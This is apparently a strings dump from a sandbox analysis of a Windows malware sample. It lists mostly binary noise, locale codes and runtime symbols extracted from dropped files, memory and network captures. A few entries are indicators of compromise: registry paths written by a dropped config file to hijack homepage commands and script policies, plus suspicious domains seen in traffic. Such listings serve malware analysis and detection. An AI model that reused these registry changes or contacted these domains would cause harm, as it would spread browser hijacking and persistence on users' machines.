Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER\S
Unicode based on Dropped File (hhhhh.exe.655875088)
\resources.pak
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
\Sessions\1\Windows\ApiPort
Unicode based on Runtime Data (rundll32.exe )
\StringFileInfo\%04x%04x\%s
Unicode based on Dropped File (ttttt.exe.179545488)
\StringFileInfo\%04x%04x\OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
\T#R!{.r@`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\ThemeApiPort
Unicode based on Runtime Data (rundll32.exe )
\TO^OgxD2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\VarFileInfo\Translation
Unicode based on Dropped File (kokoko.dll.2691425955)
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
\WMI\
Unicode based on Dropped File (ttttt.exe.179545488)
\{P)PMw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
] i(Q!=J48 z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]%5Vod{m3v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]/4^$UD>8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]0?;_?
Ansi based on Runtime Data (rundll32.exe )
]51-#Vi1{y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]7EhOW"Mgm
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]_5>hc.yo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]bxQ5$k"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]EzYk+M?I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]F~{e!mxj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]iGbtzp(RL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]KPg}r_h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]RAS}JADL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]u`TS*59ec
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
]UUVOpdFGHM
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^"j@y'1!@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^'$ash1E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^(P96`aw1|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^-]&"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^2[;178:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^39["
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^7^623n!24412`gb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^?.??
Ansi based on Runtime Data (rundll32.exe )
^??k???L
Ansi based on Runtime Data (rundll32.exe )
^aoUfr!iM
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^C????
Ansi based on Runtime Data (rundll32.exe )
^Ca^7wCSjb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^Exa[_F!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^NW(|5.LN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^ON*mEDEg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^OyQ_O{37
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^s?c?=uP??l?
Ansi based on Runtime Data (rundll32.exe )
^uPB@jK+I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^z<lgjZzt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
^{?"W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_!V-T>z*.{Hu2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_-;.[@pA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_347586346390487_5690387450986_734865730498576_0938475098678_479843754359867_345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_39487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_60987_43508674390857690435760938459
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_63904875690387450986734865730_49857609384750986784798437543_59867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_69083475863463904875690_38745_09867348657304985760938_47509_8678479843754359867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_7569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_8634639_048756903874509867348_6573049_857609384750986784798_4375435_9867345
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
_?3?H?\$8H?? _?H??|
Ansi based on Runtime Data (rundll32.exe )
_???z?S??v?0???3???(
Ansi based on Runtime Data (rundll32.exe )
_\UNs@.TwV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_]QTXU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_^[]?U??M
Ansi based on Runtime Data (rundll32.exe )
__based(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__C_specific_handler
Ansi based on Dropped File (hhhhh.exe.655875088)
__cdecl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__cfduidd352e486b4ff90bbe46dcda756c890d7f1493314632ourluckysites.com/921616073082883066222238587708830588797*
Ansi based on Runtime Data (QQBrowser.exe )
__clrcall
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__eabi
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__fastcall
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__int128
Ansi based on Dropped File (kokoko.dll.2691425955)
__int16
Ansi based on Dropped File (kokoko.dll.2691425955)
__int32
Ansi based on Dropped File (kokoko.dll.2691425955)
__int64
Ansi based on Dropped File (kokoko.dll.2691425955)
__int8
Ansi based on Dropped File (kokoko.dll.2691425955)
__p__commode
Ansi based on Dropped File (ttttt.exe.179545488)
__p__fmode
Ansi based on Dropped File (ttttt.exe.179545488)
__pascal
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__ptr64
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__restrict
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__set_app_type
Ansi based on Dropped File (ttttt.exe.179545488)
__setusermatherr
Ansi based on Dropped File (ttttt.exe.179545488)
__stdcall
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__thiscall
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__unaligned
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__vectorcall
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
__w64
Ansi based on Dropped File (kokoko.dll.2691425955)
__wgetmainargs
Ansi based on Dropped File (ttttt.exe.179545488)
_ALLOC
Unicode based on Dropped File (ttttt.exe.179545488)
_amsg_exit
Ansi based on Dropped File (ttttt.exe.179545488)
_cabs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_cdW .
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_cexit
Ansi based on Dropped File (ttttt.exe.179545488)
_controlfp
Ansi based on Dropped File (ttttt.exe.179545488)
_E!*M6xCQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_except_handler4_common
Ansi based on Dropped File (ttttt.exe.179545488)
_exit
Ansi based on Dropped File (ttttt.exe.179545488)
_FV''=;P`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_hypot
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_iBD-g5'\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
_initterm
Ansi based on Dropped File (ttttt.exe.179545488)
_IO_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
_i|rYhM#1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_logb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_MARq|0BC
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_mN<28p6).]o
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_MONETARY
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_n 3<vfvl^Q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_nextafter
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_saveExpressions();}_contextMenu(event){var contextMenu=new UI.ContextMenu(event);this._populateContextMenu(contextMenu,event);contextMenu.show();}_populateContextMenu(contextMenu,event){var isEditing=false;for(var watchExpression of this._watchExpressions
Ansi based on Runtime Data (CPK.exe )
_snwprintf
Ansi based on Dropped File (hhhhh.exe.655875088)
_wcsicmp
Ansi based on Dropped File (ttttt.exe.179545488)
_wcsnicmp
Ansi based on Dropped File (hhhhh.exe.655875088)
_wfopen
Ansi based on Dropped File (ttttt.exe.179545488)
_wfullpath
Ansi based on Dropped File (ttttt.exe.179545488)
_wi?(_Sg{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_wtoi
Ansi based on Dropped File (ttttt.exe.179545488)
_wtoi64
Ansi based on Dropped File (ttttt.exe.179545488)
_wtol
Ansi based on Dropped File (ttttt.exe.179545488)
_XcptFilter
Ansi based on Dropped File (ttttt.exe.179545488)
_y}g\aYSZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
_{?@b?-
Ansi based on Runtime Data (rundll32.exe )
_{w(lO#Et
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`)Y#}?\v&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`.data
Ansi based on Dropped File (ttttt.exe.179545488)
`.rdata
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`0n"s%(op
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`1"4i:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`7s6w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`8tD?t2E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`???mQ5
Ansi based on Runtime Data (rundll32.exe )
`?p?q?p|L,4?
Ansi based on Runtime Data (rundll32.exe )
`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}
Unicode based on Runtime Data (rundll32.exe )
`]Hrh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`adjustor{
Ansi based on Dropped File (kokoko.dll.2691425955)
`anonymous namespace'
Ansi based on Dropped File (kokoko.dll.2691425955)
`copy constructor closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`default constructor closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`dynamic atexit destructor for '
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`dynamic initializer for '
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`eh vector constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`eh vector copy constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`eh vector destructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`eh vector vbase constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`eh vector vbase copy constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`h````
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`INIT
Ansi based on Dropped File (hhhhh.exe.655875088)
`local static destructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`local static guard'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local static thread guard'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local vftable constructor closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`local vftable'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`managed vector constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`managed vector copy constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`managed vector destructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`ML?-*
Ansi based on Runtime Data (rundll32.exe )
`non-type-template-parameter
Ansi based on Dropped File (kokoko.dll.2691425955)
`omni callsig'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`P%Z~M%5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`placement delete closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`placement delete[] closure'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`r+BBe3`B
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`RTTI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`scalar deleting destructor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`string'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`s{=E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`T\^}=H(M
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`template static data member constructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`template static data member destructor helper'
Ansi based on Dropped File (kokoko.dll.2691425955)
`template-parameter
Ansi based on Dropped File (kokoko.dll.2691425955)
`TSC+0Bl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`typeof'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`U>&X_sL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`udt returning'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`unknown ecsu'
Ansi based on Dropped File (kokoko.dll.2691425955)
`vbase destructor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vbtable'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vcall'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector copy constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector deleting destructor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector destructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector vbase constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vector vbase copy constructor iterator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vftable'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`virtual displacement map'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`vtordispex{
Ansi based on Dropped File (kokoko.dll.2691425955)
`vtordisp{
Ansi based on Dropped File (kokoko.dll.2691425955)
`y}Y0/\4!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`{C3>ZP:3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
`~8GhB~+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A _m>`z2r
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a different color.### AccessibilityAlt attribute should be set to provide adequate context for accessibility. If not provided,it defaults to 'loading'.Empty alt can be provided to mark the element as decorative if alternative content is providedin anot
Ansi based on Runtime Data (CPK.exe )
a Package id filter separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
A valid JSON document must be either an array or an object value.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a!?R?A
Ansi based on Runtime Data (rundll32.exe )
a&67"b{~]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a*ji*JUn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A-Cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A0123456789abcdefghijklmnopqrstuvwxyz
Ansi based on Dropped File (kokoko.dll.2691425955)
a2\(&S;4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a6nJvTYyj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
a6O~Pw@"+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A?'!i?(??S????_???%??-???
Ansi based on Runtime Data (rundll32.exe )
a?5?u??
Ansi based on Runtime Data (rundll32.exe )
a??4~
Ansi based on Runtime Data (rundll32.exe )
a??\s:6?p?
Ansi based on Runtime Data (rundll32.exe )
a??nT?$
Ansi based on Runtime Data (rundll32.exe )
A?hs?T?
Ansi based on Runtime Data (rundll32.exe )
a?sEF/bFO0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A@,R bm\j+(F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ABCDEFGHIJKLMNOPQRSTUVWXYZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
abcdefghijklmnopqrstuvwxyz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ableProperty
Unicode based on Dropped File (ttttt.exe.179545488)
Access denied
Ansi based on Dropped File (hhhhh.exe.655875088)
aceLog Failed to allocate buffer for EnumerateTraceGuidsEx
Unicode based on Dropped File (ttttt.exe.179545488)
acing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
acing:
Unicode based on Dropped File (ttttt.exe.179545488)
ackground-image: url(Images/accelerometer-right.png);\n}\n\n.orientation-left::before,\n.orientation-right::before {\n top: -6px;\n transform-origin: center bottom;\n transform: rotateX(26deg);\n background-position: center top;\n}\n\n.orientation-
Ansi based on Runtime Data (CPK.exe )
ACONOUT$
Unicode based on Dropped File (hhhhh.exe.655875088)
actions:
Unicode based on Dropped File (ttttt.exe.179545488)
ad Disable Thread Start/End tracing
Unicode based on Dropped File (ttttt.exe.179545488)
ad & tobago
Unicode based on Dropped File (hhhhh.exe.655875088)
ad'),restoreAndReload));function restoreAndReload(){Common.settings.clearAll();Components.reload();}}static isSettingVisible(extension){var descriptor=extension.descriptor();if(!('title'in descriptor))return false;if(!('category'in descriptor))return fal
Ansi based on Runtime Data (CPK.exe )
AD+DISK_IO+HARD_FAULTS+PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
adDCEnd
Unicode based on Dropped File (ttttt.exe.179545488)
Adding GroupMask ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
Adding Pids ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
Adding StackWalk ExtItem
Unicode based on Dropped File (ttttt.exe.179545488)
additional six characters expected to parse unicode surrogate pair.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
Ansi based on Dropped File (pc64.cfg)
AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
address family not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address in use
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address not available
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address_family_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address_in_use
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
address_not_available
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AddressFamily
Unicode based on Runtime Data (QQBrowser.exe )
AddToTriageDump
Unicode based on Dropped File (ttttt.exe.179545488)
aditional
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AdjustTokenPrivileges
Ansi based on Dropped File (ttttt.exe.179545488)
Admin
Unicode based on Dropped File (UAC.dll.626400535)
AdminTabProcs
Unicode based on Runtime Data (QQBrowser.exe )
ADVAPI32.DLL
Unicode based on Dropped File (kokoko.dll.2691425955)
ADVAPI32.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Advapi32.dll
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
advapi32.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
aEquyQ'/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
af-ZA
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
af-za
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Affinity
Unicode based on Dropped File (ttttt.exe.179545488)
age to show when this is hit. */function assertNotReached(opt_message) { assert(false, opt_message || 'Unreachable code hit');}/** * @param {*} value The value to check. * @param {function(new: T, ...)} type A user-defined constructor. * @param {stri
Ansi based on Runtime Data (CPK.exe )
ageDump
Unicode based on Dropped File (ttttt.exe.179545488)
ageIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
AgeLimit: %d
Unicode based on Dropped File (ttttt.exe.179545488)
agePath
Unicode based on Dropped File (hhhhh.exe.655875088)
AGetVolumeInforma
Ansi based on Dropped File (kokoko.dll.2691425955)
agS]I}A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AI*~It6^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ai?*fi(0a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
aidan
Unicode based on Dropped File (MIO.dll.1862922135)
ainer a { color: inherit; text-decoration: underline; } #title-bar { border-bottom: var(--user-manager-separator-line); font-size: 16px; font-weight: 500; padding: 104px 0 16px; } #nameI
Ansi based on Runtime Data (CPK.exe )
AIr{!Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Aja-JP
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
aland
Unicode based on Dropped File (hhhhh.exe.655875088)
ALC_ALL
Unicode based on Dropped File (hhhhh.exe.655875088)
alDrive0
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
alid Exe Filter arguments.
Unicode based on Dropped File (ttttt.exe.179545488)
alkIds
Unicode based on Dropped File (ttttt.exe.179545488)
allEnter
Unicode based on Dropped File (ttttt.exe.179545488)
alnum
Unicode based on Dropped File (kokoko.dll.2691425955)
AlpcConnectFail
Unicode based on Dropped File (ttttt.exe.179545488)
AlpcConnectRequest
Unicode based on Dropped File (ttttt.exe.179545488)
AlpcSendMessage
Unicode based on Dropped File (ttttt.exe.179545488)
alpha
Ansi based on Dropped File (kokoko.dll.2691425955)
already connected
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
already_connected
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
als - www.sysinternals.com
Unicode based on Dropped File (hhhhh.exe.655875088)
AlwaysDrainOnRedirect
Unicode based on Runtime Data (QQBrowser.exe )
AlwaysShowExt
Unicode based on Runtime Data (rundll32.exe )
am/pm
Unicode based on Dropped File (kokoko.dll.2691425955)
AM57odF2Se
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ame] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
amemerge
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
american english
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
american-english
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
an class="setting-extra-description" i18n-content="hotwordAlwaysOnAudioHistoryDescription"> </span> </div> </div> </div> </section> <section id="sync-users-section" guest-visibility="hidden"> <h3 i
Ansi based on Runtime Data (CPK.exe )
an-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
anadian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
andle [-a] [-u] [-p <processname>|<pid>] [name]
Ansi based on Dropped File (hhhhh.exe.655875088)
andle.exe
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-colombia
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-el salvador
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-guatemala
Unicode based on Runtime Data (rundll32.exe )
anish-modern
Unicode based on Dropped File (hhhhh.exe.655875088)
ANTI_STARVATION
Unicode based on Dropped File (ttttt.exe.179545488)
ao`x+l-~"P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AoSXR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ap_cf
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
apD 494b
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
apFree
Unicode based on Dropped File (ttttt.exe.179545488)
api-ms-win-eventing-controller-l1-1-0
Unicode based on Dropped File (ttttt.exe.179545488)
api.suibianmaimaicom.com
Ansi based on PCAP Processing (PCAP)
AppData
Unicode based on Runtime Data (rundll32.exe )
Append
Unicode based on Dropped File (ttttt.exe.179545488)
AppendPath
Unicode based on Runtime Data (rundll32.exe )
AppID
Unicode based on Dropped File (psi.dll.1283195511)
April
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-AE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-BH
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-bh
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-EG
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-eg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-IQ
Unicode based on Dropped File (UAC.dll.626400535)
ar-JO
Unicode based on Dropped File (hhhhh.exe.655875088)
ar-jo
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-KW
Unicode based on Dropped File (hhhhh.exe.655875088)
ar-LB
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-lb
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-ma
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-MA
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-OM
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-QA
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-qa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-SA
